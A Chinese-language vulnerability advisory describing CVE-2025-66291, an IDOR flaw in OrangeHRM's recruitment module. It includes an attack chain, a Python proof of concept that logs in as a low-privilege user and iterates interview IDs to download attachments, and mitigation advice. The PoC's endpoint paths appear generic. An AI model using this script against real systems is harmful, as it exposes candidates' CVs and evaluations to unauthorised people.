IPBUF安全漏洞报告
English
CVE-2025-66291 CVSS 4.3 中危

CVE-2025-66291 OrangeHRM招聘模块面试附件未授权访问漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66291
漏洞类型
访问控制缺陷/IDOR
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM

相关标签

CVE-2025-66291OrangeHRM访问控制缺陷IDOR权限绕过未授权访问信息泄露人力资源系统招聘模块面试附件

漏洞概述

OrangeHRM是一套综合性的人力资源管理系统。CVE-2025-66291漏洞存在于OrangeHRM 5.0至5.7版本的招聘模块中,该漏洞允许已认证的ESS(Employee Self-Service)用户无需任何招聘权限即可访问面试附件。具体而言,招聘模块中的面试附件检索端点仅基于会话认证和用户提供的标识符来服务文件,而未验证请求者是否有权访问相关的面试记录。由于服务器未执行任何招聘级别的授权检查,拥有有效会话的低权限ESS用户可以直接请求面试附件URL并获取相应文件。这导致机密面试文档(包括候选人简历、评估报告和支持文件)暴露给未经授权的用户。该漏洞源于系统依赖可预测的对象标识符和会话存在性,而非验证用户与相关招聘流程的关联性。

技术细节

该漏洞属于典型的IDOR(Insecure Direct Object Reference,不安全直接对象引用)漏洞。在OrangeHRM的招聘模块中,面试附件的检索接口存在授权缺陷。当用户请求面试附件时,系统仅验证用户是否已登录(会话存在),但未检查该用户是否具有访问特定面试记录的权限。攻击者可以通过以下方式利用此漏洞:1) 使用有效的ESS账户登录系统;2) 枚举或猜测面试记录的对象标识符(可能通过其他API端点或可预测的ID序列);3) 构造针对面试附件端点的请求,使用获取到的标识符;4) 服务器直接返回附件内容,无论请求者是否具有招聘模块的访问权限。由于OrangeHRM使用顺序递增的ID或可预测的标识符来引用面试记录,攻击者可以遍历访问系统中所有面试的附件。CVSS向量显示攻击复杂度低(AC:L),攻击者只需普通权限(PR:L),无需特殊用户交互(UI:N),主要影响机密性(C:L)。

攻击链分析

STEP 1
步骤1
获取有效的OrangeHRM ESS用户账户:攻击者需要一个有效的ESS级别用户账户,该账户本身不应具有招聘模块的访问权限
STEP 2
步骤2
枚举面试记录标识符:通过API端点、URL参数或可预测的ID序列获取面试记录的有效标识符
STEP 3
步骤3
构造恶意请求:使用获取到的面试ID构造针对招聘模块面试附件端点的HTTP GET请求
STEP 4
步骤4
绕过授权检查:系统仅验证会话有效性,未检查用户与面试记录的关联性,请求直接通过
STEP 5
步骤5
获取机密附件:服务器返回面试附件内容,包括候选人简历、评估报告等敏感文件
STEP 6
步骤6
横向枚举:攻击者可通过遍历不同ID访问系统中所有面试的附件,实现大规模数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-66291 PoC - OrangeHRM Interview Attachment Unauthorized Access # This PoC demonstrates accessing interview attachments without proper authorization TARGET_URL = "http://target-orangehrm.com" LOGIN_URL = f"{TARGET_URL}/auth/login" ATTACHMENT_URL = f"{TARGET_URL}/recruitment/interview/attachments" def login(session, username, password): """Login to OrangeHRM with ESS credentials""" login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 or "session" in response.cookies def access_interview_attachment(session, interview_id): """Access interview attachment by ID without authorization check""" # The vulnerable endpoint directly serves files based on ID # No recruitment module permission verification params = { "interviewId": interview_id } response = session.get(ATTACHMENT_URL, params=params) return response def main(): if len(sys.argv) < 3: print("Usage: python poc.py <username> <password>") sys.exit(1) username = sys.argv[1] password = sys.argv[2] session = requests.Session() # Step 1: Login as ESS user (low privilege) if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[+] Successfully logged in as ESS user") # Step 2: Enumerate and access interview attachments for interview_id in range(1, 100): print(f"[*] Attempting to access interview ID: {interview_id}") response = access_interview_attachment(session, interview_id) if response.status_code == 200 and 'attachment' in response.headers.get('Content-Type', ''): print(f"[+] SUCCESS: Downloaded attachment for interview ID {interview_id}") # Save the attachment filename = f"interview_{interview_id}_attachment" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Saved to {filename}") elif response.status_code == 200: print(f"[*] Found interview record ID {interview_id}") if __name__ == "__main__": main()

影响范围

OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7

防御指南

临时缓解措施
如果无法立即升级到5.8版本,可采取以下临时缓解措施:1) 限制ESS用户创建新账户的权限,确保只有经授权的人员拥有系统账户;2) 在Web应用防火墙(WAF)层面添加规则,监控和限制异常的面试附件访问请求;3) 定期审查系统日志,检测是否存在大量面试附件的异常访问行为;4) 考虑临时禁用招聘模块的非管理员访问,待正式补丁发布后再恢复;5) 实施IP白名单或地理位置限制,减少潜在攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表